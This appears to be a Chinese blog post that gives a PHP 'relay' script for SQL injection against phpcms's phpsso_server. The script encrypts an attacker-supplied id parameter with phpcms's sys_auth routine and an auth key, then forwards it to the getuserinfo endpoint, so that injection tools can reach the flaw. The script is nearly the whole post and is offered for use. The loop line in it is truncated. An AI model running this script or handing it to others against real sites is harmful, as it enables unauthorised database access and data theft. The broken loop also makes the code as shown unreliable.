php中转注入,phpcms authkey注入中转脚本

set_time_limit(0);

$wang_url = 'http://www.0day5.com';

$auth_key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxx';

$str = "uid=1".stripslashes($_GET['id']);

$encode = sys_auth($str, 'ENCODE', $auth_key);

$content = file_get_contents($wang_url."/phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=".$encode);

echo $content;

function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {

$key_length = 4;

$key = md5($key);

$fixedkey = hash('md5', $key);

$egiskeys = md5(substr($fixedkey, 16, 16));

$runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';

$keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));

$string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));

$i = 0; $result = '';

$string_length = strlen($string);

for ($i = 0; $i 

$result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));

}

if($operation == 'ENCODE') {

return $runtokey . str_replace('=', '', base64_encode($result));

} else {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) {

return substr($result, 26);

} else {

return '';

}

}

}

?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值